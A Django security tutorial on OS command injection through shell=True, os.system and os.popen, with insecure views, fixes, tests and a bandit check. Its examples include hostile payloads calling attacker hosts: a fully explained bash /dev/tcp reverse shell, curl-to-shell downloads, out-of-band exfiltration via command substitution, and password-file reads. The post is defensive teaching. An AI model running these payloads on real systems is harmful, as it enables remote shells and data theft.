OS Command Injection: subprocess, os.system and the Dangers of Shell=True

OS Command Injection: subprocess, os.system and the Dangers of Shell=True

Django Security Series — Post 4 | Series I: Injection Attacks
OWASP A03:2021 — Injection | Reading time: ~14 min

Post 1 of this series covered SQL Injection — untrusted data breaking the boundary between SQL structure and a database query. Post 2 covered XSS — the same boundary break at the browser's HTML layer. Post 3 covered SSTI — the break at the template engine, where the payoff escalates to Remote Code Execution on the server. Post 4 closes the core RCE triad by removing the last layer of indirection: OS Command Injection, where user input reaches the operating system shell directly. SQL Injection hits the database, SSTI hits the template engine and then the OS through the Python object graph, and command injection hits the shell with nothing in between. The blast radius grows at every step, and here it is the whole host.

The reason Django developers meet this attack is mundane: web applications shell out for legitimate work all the time. Resizing an uploaded avatar with ImageMagick, rendering an invoice to PDF with wkhtmltopdf, extracting an uploaded archive, running a git command in an internal dashboard, pinging a host in a network-diagnostics tool — every one of these is a call into an external program, and every external call that builds its command from user input is a potential injection point. Unlike SQL, where Django's ORM parameterises queries for you, there is no framework layer that parameterises a shell command. The protection is entirely a matter of how you call the subprocess.

At the centre of this post is one argument: shell=True. It is the single most misused parameter in Python web development. It exists for genuine convenience — it lets you write a command as one string and use shell features like pipes and redirection — and that convenience is exactly what makes it dangerous, because the same shell that interprets your pipe also interprets an attacker's semicolon. In this post we look at how command injection works at the shell level, why shell=True converts user input into executable commands, how to find every vulnerable call site in a Django project, and how to migrate each pattern to the safe shell=False form.


The Attack: What It Is and How It Works

Command injection occurs when user-controlled data is included in a string that is passed to an operating system shell, causing the shell to interpret part of that input as a command rather than as data. The root cause is identical to SQL Injection — confusion between data and code at an interpreter boundary — but the interpreter is now the OS shell (/bin/sh on Linux, cmd.exe on Windows) instead of a database engine. And whereas a database engine can only touch the database, the shell can touch everything the web process can: the filesystem, the network, environment variables holding secrets, and any other binary on the host.

The mechanism hinges on shell metacharacters — characters that a shell treats as control syntax rather than literal text. When user input is concatenated into a command string and handed to a shell, any metacharacter in that input is interpreted by the shell:

Metacharacter What the shell does with it Example
; Command separator — run the next command unconditionally photo.jpg; rm -rf /
&& Run the next command only if the first succeeds photo.jpg && curl evil.sh \| sh
\|\| Run the next command only if the first fails nope \|\| cat /etc/passwd
\| Pipe — send output of one command into the next photo.jpg \| nc attacker 4444
$(...) Command substitution — run the inner command, insert its output $(whoami)
`...` Backtick command substitution (older syntax) `id`
> / >> Redirect output to a file (overwrite / append) x > /var/www/shell.php
& Run the command in the background sleep 30 &
newline (\n) Acts as a command separator photo.jpg\nrm -rf /

On Windows the operators differ slightly (&, &&, ||, |, and %VAR% expansion) but the principle is identical: the shell parses the string before any program runs.

os.system, subprocess, and os.popen

Before seeing the exploit, it helps to know exactly which Python calls hand data to a shell, because that is where the vulnerability lives. Python offers several ways to run an external program, and the security difference between them comes down to a single question: is a shell involved, and who splits the command into separate arguments?

os.system(cmd) takes one string and hands it to the system shell (/bin/sh -c "<cmd>" on Linux, cmd.exe /c on Windows). It is the shell — not Python — that decides where each argument begins and ends, and that is exactly what lets an attacker's ; or | be read as syntax rather than as text. os.popen(cmd) does the same thing and additionally hands back a file-like object so you can read the command's output. Neither function has any mode that skips the shell — the shell is always in the loop — so both should be treated as legacy.

subprocess is safer because it can run a program in two very different ways:

How you call it Shell involved? Who parses the arguments
subprocess.run("convert " + f, shell=True) Yes — /bin/sh -c ... The shell — metacharacters are live
subprocess.run(["convert", f]) No — shell=False (the default) Python passes the list straight to the OS

When you pass a string with shell=True, subprocess behaves exactly like os.system: the shell parses the string and every metacharacter in f is dangerous. When you pass a list of arguments with the default shell=False, there is no shell at all — Python calls the operating system's exec family directly, and each list element becomes one argument, verbatim. A ; inside f is then just a character in a filename, never a command separator.

That second mode is the entire reason the secure path always uses subprocess with an argument list — and why os.system and os.popen, which have no such mode, should be considered legacy. The exploit below uses the first, dangerous mode.

How Attackers Exploit It

# INSECURE — image conversion endpoint, filename from the query string
import subprocess
from django.http import HttpResponse

def convert_image(request):
    filename = request.GET.get('file', '')
    # The f-string places attacker input directly into a shell command line.
    subprocess.run(f"convert {filename} /var/thumbs/output.jpg", shell=True)
    return HttpResponse("Converted")

A request to /convert/?file=photo.jpg;id causes the shell to run convert photo.jpg /var/thumbs/output.jpg followed by id. If the command output is reflected anywhere in the response or logs, the attacker reads uid=33(www-data) gid=33(www-data) and has confirmed code execution under the web process user.

[MITRE] The parent technique is T1059 — Command and Scripting Interpreter. On Linux/macOS Django deployments the relevant sub-technique is T1059.004 — Unix Shell; on Windows it is T1059.003 — Windows Command Shell. Where the injected command is used to gain initial access to a public-facing service, T1190 — Exploit Public-Facing Application also applies.

Step-by-Step Exploit

Walking the same endpoint through a full exploit shows how one query parameter escalates to a foothold on the host:

  1. A Django view receives a filename parameter from the user — for example, the name of an uploaded image to be converted.
  2. The view builds a command with an f-string and runs it through a shell, exactly as in the code above: subprocess.run(f"convert {filename} output.jpg", shell=True).
  3. The attacker submits photo.jpg; cat /etc/passwd > /tmp/leak.txt as the filename.
  4. The shell receives convert photo.jpg output.jpg; cat /etc/passwd > /tmp/leak.txt and parses the ; as a separator — it runs the conversion and then dumps the password file to a world-readable location.
  5. The attacker retrieves /tmp/leak.txt through another endpoint — or, more commonly, skips the file entirely and substitutes a reverse-shell payload that connects back to a machine they control.

The same view is exploitable for full interactive control, not just file disclosure. A payload such as photo.jpg; bash -i >& /dev/tcp/attacker.example/4444 0>&1 assembles a reverse shell — instead of the attacker connecting in to the server, the server dials out to the attacker, which is precisely what lets it slip past inbound firewall rules that block incoming connections. Each piece does one job:

  • photo.jpg; — the benign filename the view expects, then ; closes the intended convert command and starts a new one.
  • bash -i — launches an interactive Bash shell (interactive mode keeps it reading commands and printing prompts, as a terminal session would).
  • /dev/tcp/attacker.example/4444 — not a real file but a Bash built-in pseudo-device: referencing this path makes Bash open a TCP connection to the attacker's host on port 4444, where the attacker is already listening (for example with nc -lvnp 4444).
  • >& — redirects the shell's standard output and standard error into that TCP connection, so everything the shell prints travels to the attacker.
  • 0>&1 — redirects standard input (file descriptor 0) to the same connection, so whatever the attacker types is fed back into the shell as commands.

Wired together, the shell's input and output are both bound to the attacker's socket, giving them a live interactive prompt on the server. At that point the web application is no longer the target, the host is.

Blind Command Injection

When the output of the injected command is not returned anywhere in the HTTP response — common in upload handlers and background jobs — the attacker cannot read results directly. Two techniques resolve this:

  • Out-of-band (OOB) detection. The payload makes the server reach out to an attacker-controlled host: photo.jpg; curl https://attacker.example/$(whoami). The attacker observes the inbound DNS lookup or HTTP request on a collaborator service (Burp Collaborator, a self-hosted interactsh instance) — confirming execution and exfiltrating the command output through the hostname.
  • Time-based detection. When even outbound network connections are blocked, the payload injects a delay: photo.jpg; sleep 5. If the response takes five seconds longer than the baseline, the command executed. This is the same time-based inference technique used in blind SQL Injection (Post 1).

Real-World Incident: ImageTragick — CVE-2016-3714

In May 2016 a set of critical vulnerabilities in ImageMagick — the image-processing toolkit that a large fraction of the web relied on for thumbnailing and format conversion — was disclosed under the collective name ImageTragick. The headline issue, CVE-2016-3714, was an OS command injection flaw: ImageMagick determined how to process a file partly from its contents, and several of its "delegate" handlers built shell commands from values embedded in the image. A maliciously crafted file with an https:// URL containing shell metacharacters in its filename or fields caused ImageMagick to execute attacker commands on the server during what the application thought was a harmless resize. The flaw carried a CVSS score of 8.4 (High), and working exploits circulated publicly within roughly a day of disclosure.

The reason this matters for Django developers is that the vulnerability was not in any web application's own code — it was in a dependency that web applications called. Any Django, Rails, PHP, or Node app with an upload endpoint that passed user images to ImageMagick (directly, or indirectly through wkhtmltopdf and similar tools) was exposed, and hundreds were compromised. MITRE ATT&CK T1190 (Exploit Public-Facing Application) maps the initial access. The lesson is precise: every call into an external process is an injection surface, both for the arguments you pass and for what the invoked binary does with them. Using shell=False with a validated argument list would not, on its own, have closed this particular CVE — the bug lived inside ImageMagick — but the discipline that habit enforces (knowing exactly what you hand to every external binary, validating uploads, and preferring a Python-native library over a shell-out) is the same discipline that contains the damage. The widely adopted remediation was a hardening policy.xml that disabled the vulnerable delegates, plus moving image work to safer libraries.

Source: ImageTragick — CVE-2016-3714 and related vulnerabilities


Django's Default Protections

Django provides no automatic protection against command injection. This is the critical mental adjustment after Posts 1–3. The ORM parameterises SQL, the template engine auto-escapes HTML, and DTL refuses to evaluate expressions — but nothing in Django parameterises or sanitises a shell command, because shelling out is not a framework concern. The moment your code calls subprocess, os.system, or os.popen, you have stepped outside Django's protective surface and you own the safety of that call entirely.

Django's own deployment checklist and the subprocess documentation both warn explicitly against shell=True with untrusted input, but those are advisory — there is no setting that blocks it. The Django-level controls that do help are access controls that limit who can reach the views that shell out: @login_required, @permission_required, and @staff_member_required reduce the population of users who can even attempt an injection. They are valuable defence-in-depth — an internal diagnostics tool behind @staff_member_required has a far smaller attack surface than a public endpoint — but they are not a fix. An authenticated user, a compromised account, or an attacker who reaches the view through a separate flaw still injects into an unsanitised command. Access control narrows the door; it does not lock the vulnerability.


Vulnerable Pattern: What NOT to Do

Pattern 1 — f-string Command with shell=True

The textbook case: building a command line by interpolating user input and running it through a shell.

# INSECURE — f-string with user input and shell=True
import subprocess
from django.http import HttpResponse

def make_thumbnail(request):
    filename = request.GET.get('file', '')
    subprocess.run(f"convert {filename} -resize 200x200 thumb.jpg", shell=True)
    return HttpResponse("Thumbnail created")

Attack payload: file=x.jpg; curl https://attacker.example/s.sh | sh — downloads and executes an arbitrary script. The shell=True flag means /bin/sh parses the whole string, so the ; and | are honoured as shell operators.

Pattern 2 — String Concatenation with os.system

os.system always uses a shell; there is no safe mode. Concatenating user input into it is unconditionally dangerous.

# INSECURE — direct concatenation passed to os.system
import os
from django.http import HttpResponse

def ping_host(request):
    host = request.POST.get('host', '')
    os.system("ping -c 1 " + host)   # os.system always invokes /bin/sh
    return HttpResponse("Pinged")

Attack payload: host=8.8.8.8; cat /etc/passwd — runs the ping, then reads the password file. A network-diagnostics feature like this is extremely common in internal admin tools, and it is one of the most frequently exploited command-injection sinks in real applications.

Pattern 3 — Internal Tool Where Input "Comes From Trusted Code"

The most insidious variant: a value that feels trusted because it is not typed directly by an anonymous user, but is in fact attacker-influenceable.

# INSECURE — username feels "internal" but is attacker-controlled at sign-up
import subprocess

def audit_user_commits(username):
    # username came from the database, so it feels safe — but the user chose it
    result = subprocess.Popen(
        "git log --author=" + username,
        shell=True,
        stdout=subprocess.PIPE,
    )
    return result.communicate()[0]

The mistake is treating shell=True as a convenience whose risk only comes from obviously external input. Here username was chosen by the user at registration. An attacker who registers an account named x; curl attacker.example | sh plants a command-injection payload that fires whenever an admin runs this internal audit tool: the command string becomes git log --author=x; curl attacker.example | sh, which the shell parses as two commands. Internal tools with shell=True are exactly as dangerous as public ones the moment any account or upstream data source is attacker-influenceable.


Secure Implementation: The Django Way

Rule 1 — Always Use shell=False with an Argument List

This is the single most important control. When you pass a list of arguments and leave shell=True off (the default), no shell is involved at all — Python invokes the target binary directly via the operating system's execve, and each list element is passed as one literal argument. Shell metacharacters lose all meaning because there is no shell to interpret them.

# SECURE — argument list, no shell; metacharacters are inert
import subprocess
from django.http import HttpResponse

def make_thumbnail(request):
    filename = request.GET.get('file', '')
    # filename is passed verbatim as a single argument to `convert`.
    # If filename is "x.jpg; rm -rf /", convert simply fails to find a file
    # literally named "x.jpg; rm -rf /" — nothing is executed as a command.
    subprocess.run(
        ["convert", filename, "-resize", "200x200", "thumb.jpg"],
        shell=False,        # the default, stated here for clarity
        timeout=30,
    )
    return HttpResponse("Thumbnail created")

With the argument-list form, x.jpg; rm -rf / is handed to convert as one filename string. There is no ; parsing, no second command — the worst case is that convert reports a missing file.

Rule 2 — Validate Input Before It Reaches the Subprocess

shell=False stops shell interpretation, but a value can still be a malicious argument (for instance, a filename starting with - that the target binary reads as an option, or a path that escapes the intended directory). Validate before calling:

# SECURE — validate the path and extension before shelling out
import subprocess
import pathlib
from django.http import HttpResponse, HttpResponseBadRequest

UPLOAD_DIR = pathlib.Path("/srv/app/uploads").resolve()
ALLOWED_SUFFIXES = {".jpg", ".jpeg", ".png"}

def make_thumbnail(request):
    raw = request.GET.get('file', '')
    candidate = (UPLOAD_DIR / raw).resolve()

    # 1. Confine the resolved path to the upload directory (blocks ../ traversal).
    if not candidate.is_relative_to(UPLOAD_DIR):
        return HttpResponseBadRequest("Invalid path")
    # 2. Allowlist the extension.
    if candidate.suffix.lower() not in ALLOWED_SUFFIXES:
        return HttpResponseBadRequest("Unsupported file type")
    # 3. The file must actually exist.
    if not candidate.is_file():
        return HttpResponseBadRequest("File not found")

    subprocess.run(["convert", str(candidate), "thumb.jpg"], timeout=30)
    return HttpResponse("Thumbnail created")

True file type should be confirmed by content inspection (python-magic) rather than extension alone — that is covered in depth in the file-upload post later in the series (→ Post 27). The -- separator (convert -- filename) is also worth adding where a binary supports it, to stop a leading-dash filename being read as a flag.

Rule 3 — Prefer a Python-Native Library Over Shelling Out

The most robust fix is to remove the shell call entirely. Most common shell-out tasks have a mature Python library that runs in-process, with no external binary and no command line to inject into.

# SECURE — Pillow resizes in-process; no subprocess, no shell, no injection surface
from PIL import Image
from django.http import HttpResponse

def make_thumbnail(request):
    filename = request.GET.get('file', '')
    # (path validation from Rule 2 still applies here)
    with Image.open(filename) as img:
        img.thumbnail((200, 200))
        img.save("thumb.jpg")
    return HttpResponse("Thumbnail created")

Replace ImageMagick shell-outs with Pillow, wkhtmltopdf with WeasyPrint or ReportLab, git CLI calls with GitPython or pygit2, and archive extraction with the standard-library zipfile/tarfile modules (validating member paths to avoid the zip-slip variant of path traversal). If there is no library and you must shell out, Rules 1 and 2 are mandatory.

Rule 4 — Set a Timeout on Every Subprocess Call

A timeout argument bounds how long the child process may run, which contains both injected sleep-style denial-of-service payloads and external binaries that hang on malformed input.

# SECURE — a timeout prevents resource exhaustion from a hung or injected command
import subprocess

try:
    subprocess.run(["convert", filename, "thumb.jpg"], timeout=30, check=True)
except subprocess.TimeoutExpired:
    # Log and fail closed — do not leave the request hanging
    ...

The invariant rule: if a Python library can do the job, use the library. If you must shell out, shell=False with an argument list is not optional — it is the baseline.

Command Injection Prevention Checklist

Control What it covers
shell=False with an argument list The primary command-injection vector — no shell means shell metacharacters in user input are inert
Input validation (pathlib, extension allowlist, MIME check) Malicious arguments that survive shell=False — path traversal, option-injection via leading -, wrong file types
Python-native library instead of a shell-out Eliminates the external command line entirely — no subprocess, no injection surface
timeout= on every subprocess call Denial of service from injected sleep/hang payloads and binaries that stall on bad input
Access control on shell-out views (@permission_required) Reduces the population that can reach the view — defence in depth, not a fix
bandit in CI (flags B602 / shell=True) Stops new shell=True call sites reaching production

Testing Your Defence

Unit Tests

# blog/tests.py
from django.test import TestCase

class CommandInjectionTests(TestCase):
    def test_separator_payload_does_not_execute(self):
        """A filename containing a shell separator must not run a second command.
        With shell=False the response must not contain the output of `id` (uid=)."""
        response = self.client.get('/convert/', {'file': 'x.jpg; id'})
        self.assertNotIn(b'uid=', response.content)

    def test_substitution_payload_does_not_execute(self):
        """Command substitution $(...) must be treated as a literal filename,
        never executed."""
        response = self.client.get('/convert/', {'file': '$(whoami)'})
        self.assertNotIn(b'root', response.content)

    def test_time_based_payload_does_not_delay(self):
        """An injected `sleep 5` must not delay the response — proving no shell
        evaluated the metacharacters."""
        import time
        start = time.monotonic()
        self.client.get('/convert/', {'file': 'x.jpg; sleep 5'})
        self.assertLess(time.monotonic() - start, 2.0)

Manual Verification

# Time-based probe — if the response takes ~5s longer, the shell ran `sleep`.
time curl "https://staging.example.com/convert/?file=x.jpg;sleep+5"

# Separator probe — look for `id` output (uid=...) anywhere in the response.
curl "https://staging.example.com/convert/?file=x.jpg;id"

Static Analysis in CI

Bandit is the standard SAST tool for Python and flags shell=True as rule B602 (and os.system/os.popen use under related rules). Add it to the pipeline so no new vulnerable call site can merge:

pip install bandit
# Fails the build if any subprocess call uses shell=True
bandit -r blog/ blogtech/

# A quick grep is a useful pre-commit backstop
grep -rn "shell=True" blog/ blogtech/

Post 4 completes the injection core. SQL Injection breaks into the database, SSTI breaks into the template engine and then the host, and command injection reaches the OS shell with no layer in between — the most direct path to RCE in the series. The habit to carry forward is a single reflex: treat every subprocess, os.system, and os.popen call the same way you now treat cursor.execute(raw_sql) and Template(user_input) — a code-review stop that must be justified, with shell=True on untrusted input blocking the merge outright.

Post 5 stays in the injection family but moves to a different interpreter: LDAP Injection, where the boundary being broken is the query syntax of a corporate directory service — the authentication backend many enterprise Django deployments bind to for single sign-on.

Further Reading

Next in this series → Post 5: LDAP Injection: Attacking Directory Services Through Django Authentication

← Back to all posts